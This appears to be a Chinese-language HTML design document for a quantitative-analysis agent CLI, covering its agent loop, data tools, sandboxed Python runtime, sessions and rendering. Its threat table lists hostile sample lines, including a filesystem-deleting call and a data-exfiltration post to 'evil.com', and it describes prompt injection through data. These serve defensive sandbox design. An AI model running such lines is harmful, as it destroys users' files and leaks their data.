Files
learn-talk/cli-design.html

633 lines
23 KiB
HTML
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>量化分析 Agent CLI — 业务逻辑设计</title>
<style>
:root {
--bg: #0d1117;
--surface: #161b22;
--border: #30363d;
--text: #e6edf3;
--muted: #8b949e;
--accent: #58a6ff;
--green: #3fb950;
--orange: #d2991d;
--red: #f85149;
--purple: #a371f7;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif;
background: var(--bg);
color: var(--text);
line-height: 1.6;
max-width: 960px;
margin: 0 auto;
padding: 40px 24px;
}
h1 { font-size: 2em; border-bottom: 1px solid var(--border); padding-bottom: 12px; margin-bottom: 8px; }
h2 { font-size: 1.4em; margin-top: 48px; margin-bottom: 16px; border-bottom: 1px solid var(--border); padding-bottom: 8px; }
h3 { font-size: 1.1em; margin-top: 32px; margin-bottom: 12px; color: var(--accent); }
p { margin-bottom: 16px; color: var(--muted); }
strong { color: var(--text); }
code {
background: var(--surface);
border: 1px solid var(--border);
border-radius: 4px;
padding: 1px 6px;
font-family: "SF Mono", "Fira Code", Consolas, monospace;
font-size: 0.9em;
}
pre {
background: var(--surface);
border: 1px solid var(--border);
border-radius: 6px;
padding: 16px;
overflow-x: auto;
margin-bottom: 16px;
font-size: 0.85em;
}
pre code { background: none; border: none; padding: 0; }
.callout {
border-left: 3px solid var(--accent);
padding: 12px 16px;
margin: 24px 0;
background: rgba(88,166,255,0.06);
border-radius: 0 6px 6px 0;
}
.callout.green { border-left-color: var(--green); background: rgba(63,185,80,0.06); }
.callout.orange { border-left-color: var(--orange); background: rgba(210,153,29,0.06); }
.callout.red { border-left-color: var(--red); background: rgba(248,81,73,0.06); }
ul, ol { margin-bottom: 16px; padding-left: 24px; color: var(--muted); }
li { margin-bottom: 6px; }
table {
width: 100%; border-collapse: collapse; margin-bottom: 24px;
font-size: 0.9em;
}
th, td {
text-align: left; padding: 8px 12px;
border-bottom: 1px solid var(--border);
}
th { color: var(--text); font-weight: 600; }
td { color: var(--muted); }
.tag {
display: inline-block;
border-radius: 12px;
padding: 2px 10px;
font-size: 0.78em;
font-weight: 600;
}
.tag.decision { background: rgba(88,166,255,0.15); color: var(--accent); }
.tag.risk { background: rgba(248,81,73,0.15); color: var(--red); }
.tag.insight { background: rgba(163,113,247,0.15); color: var(--purple); }
.divider { border: none; border-top: 1px solid var(--border); margin: 48px 0; }
</style>
</head>
<body>
<h1>量化分析 Agent CLI</h1>
<p>工作范围:CLI 层架构、Agent 引擎、工具系统、安全模型、会话管理。不涉及 Web/桌面分发。</p>
<hr class="divider">
<h2>1. 核心洞察</h2>
<div class="callout green">
<strong>量化 agent 的唯一特殊能力:在沙箱里执行它自己写的代码。</strong>
<br>通用 agent 的 tool 是预定义函数签名;量化 agent 的 tool 的参数本身就是代码。
</div>
<p>这意味着:</p>
<ul>
<li><strong>MCP 负责数据抓取</strong>search、fetch),<strong>Code Runtime 负责计算</strong>(执行、状态管理、可视化)。两者职责不同,不应混用同一协议。</li>
<li>Tool 设计的颗粒度完全不同——不是 50 个细粒度 finance tool,而是一个 <code>run_python(code)</code> + 一个持久化 session。</li>
<li>威胁模型特殊:LLM 生成的代码不可信,沙箱隔离是生存问题,不是可选项。</li>
</ul>
<hr class="divider">
<h2>2. 系统架构</h2>
<pre><code>┌──────────────────────────────────────────────┐
│ CLI Layer (rich / textual / prompt_toolkit) │
│ 自然语言输入 → 流式渲染 Markdown + 表格 + 图表 │
├──────────────────────────────────────────────┤
│ Agent Core (Python) │
│ │
│ ┌──────────┐ ┌───────────┐ ┌──────────┐│
│ │ Planning │ │ Coding │ │ Review ││
│ │ 拆解任务 │──→│ 生成代码 │──→│ 校验输出 ││
│ │ 选工具 │ │ 执行+迭代 │ │ 重试/修正 ││
│ └──────────┘ └───────────┘ └──────────┘│
│ │ │
│ ┌─────────┴─────────┐ │
│ ▼ ▼ │
│ ┌──────────────┐ ┌──────────────────┐ │
│ │ Data Tools │ │ Code Runtime │ │
│ │ (MCP 兼容) │ │ (自定义协议) │ │
│ │ │ │ │ │
│ │ search_data │ │ run_python(code) │ │
│ │ fetch_data │ │ · 沙箱隔离 │ │
│ │ list_sources │ │ · 持久 session │ │
│ └──────────────┘ │ · 流式输出 │ │
│ │ · 图表渲染 │ │
│ └──────────────────┘ │
├──────────────────────────────────────────────┤
│ Session Context │
│ 挂载数据集 · 变量命名空间 · 因子定义 · 回测结果│
└──────────────────────────────────────────────┘</code></pre>
<h3>2.1 为什么 Data 层用 MCPRuntime 层不用</h3>
<table>
<tr><th>维度</th><th>Data Tools</th><th>Code Runtime</th></tr>
<tr><td>协议</td><td>MCP(行业标准)</td><td>自定义 JSON-RPC(轻量)</td></tr>
<tr><td>原因</td><td>可复用生态(未来换数据源零成本)</td><td>MCP 的强类型 schema 对代码字符串无意义</td></tr>
<tr><td>工具粒度</td><td>细:每个操作一个 tool</td><td>粗:一个 <code>run</code> tool = 无限能力</td></tr>
<tr><td>状态模型</td><td>无状态(每次调用独立)</td><td>有状态(session 内变量持久)</td></tr>
<tr><td>安全边界</td><td>可信(开发者写的代码)</td><td>不可信(LLM 生成的代码),需要沙箱</td></tr>
</table>
<hr class="divider">
<h2>3. Agent Loop 设计</h2>
<h3>3.1 核心循环</h3>
<pre><code>用户输入: "找出沪深300市盈率最低的10只股票,按行业分组统计,画图"
┌─────────────────────────────────────────────┐
│ STEP 1: Plan │
│ LLM 输出: │
│ - 需要数据: 沪深300成分股 + PE + 行业分类 │
│ - 需要工具: search_data, fetch_data │
│ - 步骤: 取数→过滤→切片→画图 │
├─────────────────────────────────────────────┤
│ STEP 2: Act (tool calls) │
│ search_data("沪深300成分股") │
│ → 返回: akshare.index_stock_cons("000300") │
│ fetch_data("index_stock_cons", "000300", │
│ fields="code,name,pe,industry") │
│ → 返回: DataFrame(300 rows × 4 cols) │
├─────────────────────────────────────────────┤
│ STEP 3: Code + Execute │
│ LLM 生成: │
│ result = df.nsmallest(10, 'pe_ttm') │
│ grouped = result.groupby('industry').size()│
│ fig = grouped.plot.bar() │
│ run_python(code) → 表格 + 图表 │
├─────────────────────────────────────────────┤
│ STEP 4: Review & Respond │
│ 检查: 输出 10 行? 图表正确? │
│ 不对 → 修正后重新 run │
│ 对的 → 渲染 Markdown 表格 + 图表给用户 │
└─────────────────────────────────────────────┘</code></pre>
<h3>3.2 三个子 Agent 的职责</h3>
<table>
<tr><th>角色</th><th>输入</th><th>输出</th><th>System Prompt 要点</th></tr>
<tr>
<td><strong>Planner</strong></td>
<td>用户自然语言 + 会话上下文</td>
<td>结构化任务计划 + 所需数据清单</td>
<td>"你是量化策略分析师。输出 YAML 格式的计划,列出数据源、计算步骤、预期输出。"</td>
</tr>
<tr>
<td><strong>Coder</strong></td>
<td>任务步骤 + 可用数据 schema</td>
<td>Python 代码(pandas/numpy/mpl</td>
<td>"你是 Python 量化开发者。数据库里有这些 DataFrame,写出分析代码。只用 pandas/numpy/matplotlib。不要用任何 IO 操作。"</td>
</tr>
<tr>
<td><strong>Reviewer</strong></td>
<td>代码输出 + 预期结果描述</td>
<td>通过 / 修正后的代码</td>
<td>"你是代码审查者。检查输出是否符合预期。行数对? 数值范围合理? 类型正确? 给出 pass 或修正建议。"</td>
</tr>
</table>
<div class="callout orange">
<strong><span class="tag risk">风险</span> 多 Agent 循环的延迟</strong><br>
每个子 Agent 都是一次 LLM 调用。最坏情况:Plan → Code → Review 失败 → Re-Code → Re-Review = 5 次调用。<br>
缓解:简单任务跳过 Planner/Reviewer(直接 Coder 一次搞定);并行化非依赖步骤。
</div>
<hr class="divider">
<h2>4. 工具系统详细设计</h2>
<h3>4.1 Data ToolsMCP 兼容)</h3>
<pre><code># MCP Server: akshare-provider
# 暴露以下 tools:
{
"name": "search_data",
"description": "搜索可用的数据集。输入关键词,返回匹配的数据集 ID 和描述。",
"parameters": {
"keyword": "string // 如 '沪深300', '可转债', '宏观经济'"
},
"returns": "[{id, name, description, schema, source}]"
}
{
"name": "fetch_data",
"description": "拉取指定数据集。",
"parameters": {
"dataset_id": "string",
"params": "object // 如 {symbol: '000300', start: '2024-01-01'}",
"limit": "int // 默认 10000"
},
"returns": "{columns: [str], dtypes: {col: type}, rows: int, preview: [[...]]}"
}
{
"name": "list_sources",
"description": "列出所有已配置的数据源及其状态。",
"returns": "[{name, status, datasets_count}]"
}</code></pre>
<div class="callout">
<strong><span class="tag decision">设计决策</span> fetch_data 不返回完整数据</strong><br>
返回 schema + 前 5 行预览,而不是全部 300 行数据。理由:<br>
(1) 全量数据通过 context 传给 LLM 会爆炸(token 和延迟)<br>
(2) LLM 不需要"看"数据,它只需要知道列名和类型就能写代码<br>
(3) 真正的数据在 Code Runtime 的 session 里,代码执行时直接访问
</div>
<h3>4.2 Code Runtime(自定义协议)</h3>
<pre><code># 自定义 JSON-RPC over stdio or HTTP
{
"method": "run",
"params": {
"code": "df_result = df.nsmallest(10, 'pe_ttm')",
"session_id": "sess_abc123",
"timeout": 30
},
"returns": {
"stdout": "string",
"stderr": "string",
"error": "string | null",
"artifacts": [
{"type": "dataframe", "name": "df_result", "shape": [10,4],
"columns": [...], "preview": [[...]]},
{"type": "image", "path": "/tmp/plot_1.png", "format": "png"},
{"type": "value", "name": "_", "repr": "0.1523"}
]
}
}
{
"method": "list_vars",
"params": { "session_id": "sess_abc123" },
"returns": {
"variables": [
{"name": "df", "type": "DataFrame", "shape": [300, 4]},
{"name": "df_result", "type": "DataFrame", "shape": [10, 4]}
]
}
}
{
"method": "reset",
"params": { "session_id": "sess_abc123" },
"returns": { "ok": true }
}</code></pre>
<h3>4.3 变量命名空间的自动挂载</h3>
<p>Agent 写完代码后,Code Runtime 自动把 <strong>所有新创建的变量</strong> 注册到 session,下一次 Agent 写代码时直接用。LLM 通过 <code>list_vars</code> 了解当前状态:</p>
<pre><code># 第 1 轮:加载数据
run_python("df = load_csi300_data()")
→ variables: {df: DataFrame(300×15)}
# 第 2 轮:过滤(直接用 df,不需要重新加载)
run_python("low_pe = df[df['pe_ttm'] &lt; 15]")
→ variables: {df: …, low_pe: DataFrame(42×15)}
# 第 3 轮:分组统计(直接用 low_pe)
run_python("result = low_pe.groupby('industry')['pe_ttm'].mean().sort_values()")
→ variables: {df: …, low_pe: …, result: Series(12)}</code></pre>
<hr class="divider">
<h2>5. 安全模型</h2>
<h3>5.1 威胁清单</h3>
<table>
<tr><th>威胁</th><th>例子</th><th>严重程度</th></tr>
<tr><td>文件系统破坏</td><td><code>import os; os.remove("/")</code></td><td><span class="tag risk">致命</span></td></tr>
<tr><td>数据泄露</td><td><code>requests.post("evil.com", data)</code></td><td><span class="tag risk">致命</span></td></tr>
<tr><td>资源耗尽</td><td><code>while True: pass</code> / 分配 10GB 内存</td><td><span class="tag risk"></span></td></tr>
<tr><td>供应链注入</td><td><code>import malicious_package</code></td><td>中(pip 白名单可控)</td></tr>
<tr><td>提示注入</td><td>用户在数据里藏 instruction 劫持 agent 行为</td><td>中(数据不应进入 system prompt</td></tr>
</table>
<h3>5.2 三层沙箱</h3>
<pre><code>Layer 1: Python 进程隔离
subprocess.Popen(["python3", "-c", code])
├─ 独立进程,崩溃不影响主进程
├─ 超时机制:signal.SIGALRM 或 subprocess timeout
└─ 内存限制:resource.setrlimit(RLIMIT_AS, 512MB)
Layer 2: 系统级沙箱 (macOS: sandbox-exec, Linux: firejail / Docker)
├─ 只读文件系统:只挂载必要目录
├─ 限制网络:只允许白名单域名(数据源 API)
├─ 禁止子进程:禁止 exec/fork
└─ CPU 限制:cgroups / nice
Layer 3: Python 级限制
├─ import 白名单:pandas, numpy, matplotlib, scipy, statsmodels
├─ 禁止 builtinsopen, __import__, eval, exec, compile
└─ RestrictedPython(可选):编译时 AST 检查</code></pre>
<h3>5.3 最小可行安全方案</h3>
<div class="callout green">
<strong>MVP 不需要三层全做。</strong> 先做最容易实施的:
<ol>
<li><code>subprocess</code> + 30 秒超时 — 防死循环</li>
<li><code>import</code> 白名单检查(代码字符串里扫 <code>import X</code>)— 防危险模块</li>
<li>Docker 容器执行 — 一次性隔离文件系统和网络</li>
</ol>
这三件事加起来不到 50 行代码,就能防住 95% 的真实威胁。
</div>
<hr class="divider">
<h2>6. 会话管理</h2>
<h3>6.1 Session 生命周期</h3>
<pre><code>quanticli new "A股低估值策略研究"
→ session_id: "sess_20240723_a1b2c3"
→ 创建目录 ~/.quanticli/sessions/sess_20240723_a1b2c3/
├─ history.jsonl # 每轮对话记录
├─ context.yaml # 当前上下文(数据集、变量、中间结果)
└─ artifacts/ # 图表、导出 CSV
quanticli resume sess_20240723_a1b2c3
→ 恢复会话:重新加载数据、重建变量命名空间
→ 用户继续提问
quanticli list
→ 列出所有历史会话
quanticli export sess_20240723_a1b2c3
→ 导出为 Markdown 报告 / Jupyter notebook</code></pre>
<h3>6.2 Context 压缩策略</h3>
<p>量化会话很容易触达 LLM context 上限。两轮数据操作就可能产生大量文本:</p>
<pre><code># 实际情况:一个 DataFrame schema 就几百 token
"df 有 300 行 15 列:code(str), name(str), open(f64), high(f64),
low(f64), close(f64), volume(i64), pe_ttm(f64), pb(f64),
roe(f64), industry(str), market_cap(f64), …"
# 再加上代码和输出,三轮对话轻松破 4000 token</code></pre>
<p>压缩策略:</p>
<ul>
<li><strong>DataFrame 只传 schema</strong>(列名 + 类型),不传数据内容</li>
<li><strong>代码只保留最后一次正确版本</strong>,中间失败的尝试不保留</li>
<li><strong>Agent 推理过程归结为"已确定"结论</strong>,不回放完整思考链</li>
<li>触达 80% context 上限时自动 <strong>摘要压缩</strong>LLM 自总结前面的分析)</li>
</ul>
<hr class="divider">
<h2>7. 终端渲染</h2>
<h3>7.1 输出渲染能力矩阵</h3>
<table>
<tr><th>内容类型</th><th>渲染方式</th><th>依赖</th></tr>
<tr>
<td>普通文本 / Markdown</td>
<td>rich <code>Markdown</code> 组件,流式追加</td>
<td><code>rich</code></td>
</tr>
<tr>
<td>DataFrame / 表格</td>
<td>rich <code>Table</code>,自动列宽、对齐</td>
<td><code>rich</code></td>
</tr>
<tr>
<td>柱状图 / 折线图</td>
<td><code>plotext</code> Unicode 终端绘图</td>
<td><code>plotext</code></td>
</tr>
<tr>
<td>复杂图表 / K 线图</td>
<td>生成 PNGKitty/iTerm2 sixel 协议显示</td>
<td><code>matplotlib</code> + <code>imgcat</code></td>
</tr>
<tr>
<td>LaTeX 公式</td>
<td>Unicode 近似渲染 or 直接显示 LaTeX 源码</td>
<td>手动 or <code>latex2unicode</code></td>
</tr>
<tr>
<td>代码块</td>
<td>rich <code>Syntax</code> 语法高亮</td>
<td><code>rich</code></td>
</tr>
</table>
<h3>7.2 流式输出的处理</h3>
<pre><code>LLM 输出是 token 流,但内容混合了文本和工具调用:
文本流: "好的," → "让我" → "分析" → "一下" → …
→ 逐 token 打印到终端(打字机效果)
工具调用(JSON 块): {"tool": "run_python", "code": "..."}
→ 显示为 [⚙ Running analysis...]
→ 拿到结果后追加表格/图表
→ 继续流式文本
实现要点:
- LLM 响应用 SSE stream
- 解析器判断当前 token 属于 text 还是 tool_call
- text → 直接 print flush
- tool_call → 缓冲完整 JSON → 执行 → 渲染 result</code></pre>
<hr class="divider">
<h2>8. 配置文件设计</h2>
<pre><code># ~/.quanticli/config.yaml
model:
provider: anthropic # anthropic | openai | local
model: claude-sonnet-4-20250514
# api_key: ${ANTHROPIC_API_KEY} # 从环境变量读取
execution:
sandbox: docker # docker | subprocess | none
timeout: 60 # 每次代码执行超时(秒)
max_memory_mb: 512
allowed_imports:
- pandas
- numpy
- matplotlib
- scipy.stats
- statsmodels.api
data_sources:
- name: akshare
type: mcp
command: ["uvx", "akshare-mcp-server"]
- name: tushare
type: mcp
command: ["uvx", "tushare-mcp-server"]
env:
TUSHARE_TOKEN: ${TUSHARE_TOKEN}
- name: local_csv
type: directory
path: ~/quant_data/
display:
max_table_rows: 20
max_column_width: 30
chart_backend: unicode # unicode | sixel | none
theme: dark # dark | light
session:
storage_dir: ~/.quanticli/sessions/
auto_save: true
context_limit_tokens: 80000
auto_summarize_threshold: 0.8 # 80% 触发压缩</code></pre>
<hr class="divider">
<h2>9. MVP 范围</h2>
<div class="callout green">
<strong>目标:2 周内可用的单文件原型。</strong> 不追求架构完美,只验证核心体验。
</div>
<h3>9.1 MVP 包含</h3>
<table>
<tr><th>组件</th><th>范围</th><th>技术</th></tr>
<tr>
<td>CLI 入口</td>
<td><code>quant "问题"</code> 单次问答</td>
<td><code>argparse</code></td>
</tr>
<tr>
<td>Agent Loop</td>
<td>单 Agent,无 Planner/Reviewer 分工</td>
<td>自实现 thin wrapper over Anthropic/OpenAI SDK</td>
</tr>
<tr>
<td>Tool: run_python</td>
<td><code>subprocess.run(["python3", "-c", code], timeout=30)</code></td>
<td>标准库</td>
</tr>
<tr>
<td>Tool: fetch_data</td>
<td>直接调 akshare,不包 MCP(走捷径)</td>
<td><code>akshare</code> pip 包</td>
</tr>
<tr>
<td>输出渲染</td>
<td>Markdown + 表格 + Unicode 柱状图</td>
<td><code>rich</code> + <code>plotext</code></td>
</tr>
<tr>
<td>安全</td>
<td>超时 + import 白名单检查</td>
<td>标准库</td>
</tr>
</table>
<h3>9.2 MVP 明确不做</h3>
<ul>
<li>多轮对话(每次独立运行)</li>
<li>会话持久化</li>
<li>Docker 沙箱</li>
<li>MCP 协议接入</li>
<li>TUI / 交互式 REPL</li>
<li>多模型路由</li>
<li>回测框架集成</li>
</ul>
<hr class="divider">
<h2>10. 关键风险</h2>
<table>
<tr><th>风险</th><th>影响</th><th>缓解</th></tr>
<tr>
<td>LLM 写的分析代码有逻辑错误</td>
<td>用户信任崩塌</td>
<td>Reviewer Agent 校验 + 输出带置信度标签</td>
</tr>
<tr>
<td>数据源不稳定(akshare 上游挂)</td>
<td>Agent 直接不可用</td>
<td>多 provider fallback + 本地缓存常用数据集</td>
</tr>
<tr>
<td>LLM context 不够装复杂分析</td>
<td>长分析中断</td>
<td>自动摘要压缩 + 分步执行(不一次全给 LLM)</td>
</tr>
<tr>
<td>执行速度慢(多轮 LLM 调用)</td>
<td>用户体验差</td>
<td>小模型做简单步骤 + 并行工具调用</td>
</tr>
</table>
<hr class="divider">
<h2>11. 与竞品的差异化</h2>
<table>
<tr><th>竞品</th><th>模式</th><th>量化能力</th><th>我们的差异</th></tr>
<tr>
<td>Claude Code / Cursor</td>
<td>通用 coding agent</td>
<td>能写 pandas 但不理解 finance 上下文</td>
<td>Finance-first system prompt + 数据源内置</td>
</tr>
<tr>
<td>通义千问 / Kimi 金融版</td>
<td>Chatbot,不能执行代码</td>
<td>能聊不能算</td>
<td>我们是 agent,能执行代码</td>
</tr>
<tr>
<td>QuantConnect / 聚宽</td>
<td>Web IDE + 回测平台</td>
<td>功能强但学习曲线高</td>
<td>自然语言交互,零学习成本</td>
</tr>
<tr>
<td>Jupyter + Copilot</td>
<td>手动 notebook + AI 补全</td>
<td>灵活但不自动化</td>
<td>agent 自主规划执行,不是补全</td>
</tr>
</table>
<div class="callout">
<strong><span class="tag insight">定位</span></strong>
我们的位置在 <strong>"能执行代码的量化 Copilot"</strong><strong>"专业量化平台"</strong> 之间——比 Copilot 更自主,比量化平台门槛更低。
</div>
</body>
</html>